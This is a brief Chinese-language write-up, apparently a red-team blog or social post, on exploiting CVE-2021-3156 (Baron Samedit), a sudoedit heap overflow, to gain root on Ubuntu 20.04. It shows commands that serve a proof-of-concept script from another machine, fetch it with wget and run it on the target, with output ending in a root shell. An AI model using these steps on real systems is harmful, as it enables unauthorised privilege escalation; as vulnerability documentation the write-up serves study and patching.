👑 CVE-2021-3156（Baron Samedit）—— 通过 sudo 中的堆溢出实现权限提升

📅 日期： 2025-06-08
✍️ 作者： @TopskiyPavelQwertyGang 🧠 安全研究员 | 红队爱好者

---

🧠 CVE 概述

• CVE-ID： CVE-2021-3156
• 类型： 基于堆的缓冲区溢出
• 组件： sudoedit（sudo）
• 访问级别： 本地
• 目标： 获取 root 权限

---

🧠 描述

sudoedit 中的堆溢出使本地用户能够在使用预先构造的参数执行 sudoedit 命令时获取 root 访问权限。

该漏洞利用对 sudo < 1.9.5p2 的版本有效，包括流行的 Ubuntu/Debian/CentOS 镜像。
即使启用了 ASLR，该漏洞仍然可被利用。

---

🐾 利用条件

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (存在漏洞)
ASLR   : 2 (已启用)

---

🧪 环境准备

1. 已检查 glibc 和 sudo 的版本：

ldd --version
sudo --version

2. 已通过内置 HTTP 服务器从另一台机器传输 PoC 脚本：

python3 -m http.server 80

3. 在目标机器上下载并执行 PoC：

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

---

🚀 PoC 成功利用

$ python3 exploit_nss.py
# whoami
root

---

🧾 结论

如果 glibc ≥ 2.26 且 sudo 为存在漏洞的版本，即使 ASLR 处于启用状态，CVE-2021-3156 的利用仍然可行。
最稳定的当属 exploit_nss.py 漏洞利用程序，在 NSS 配置正确的情况下首次运行即可成功。

🧨 系统已受控。

---